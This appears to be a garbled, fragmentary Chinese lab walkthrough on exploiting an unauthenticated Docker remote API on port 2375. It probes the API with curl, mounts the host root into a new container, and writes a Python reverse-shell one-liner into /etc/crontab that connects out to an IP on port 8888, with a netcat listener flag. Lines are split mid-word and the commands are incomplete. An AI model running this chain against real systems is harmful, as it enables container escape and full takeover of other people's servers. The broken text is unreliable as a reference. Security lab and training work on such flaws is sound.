docker

API其默认绑定2375端口如管理员对其配置不当可导致未授权访问漏洞。

攻击者利用

docker

API可导致敏感信息泄露甚至可进一步利用Docker自身特性借助容器逃逸最终完全控制宿主服务器

Docker

接收并解析这些请求并在其内部管理对象存储中创建、修改或删除相应的

Docker

unix:///var/run/docker.sock-H0.0.0.0:2375指定

Docker

表示绑定到任何可用网络接口上即允许从其他主机上的容器或者计算机上运行的

Docker

执行后出现上面错误是由于当前环境docker已经在运行中了需要先停止docker

systemctl

unix:///var/run/docker.sock通过攻击机查看靶机所安装的镜像

docker

192.168.41.132:2375/info如果返回内容含有DockerRootDir等字符则证明存在docker未授权访问漏洞

curl

-a新运行一个容器挂载点设置为服务器的根下此时修改/mnt/etc/crontab相当于修改/etc/crontab文件

docker

/bin/bash在容器内执行命令将反弹shell的脚本写入到/etc/crontab文件

echo

socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\192.168.41.132\,8888));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),2);psubprocess.call([\/bin/sh\,\-i\]);\n

-lvvp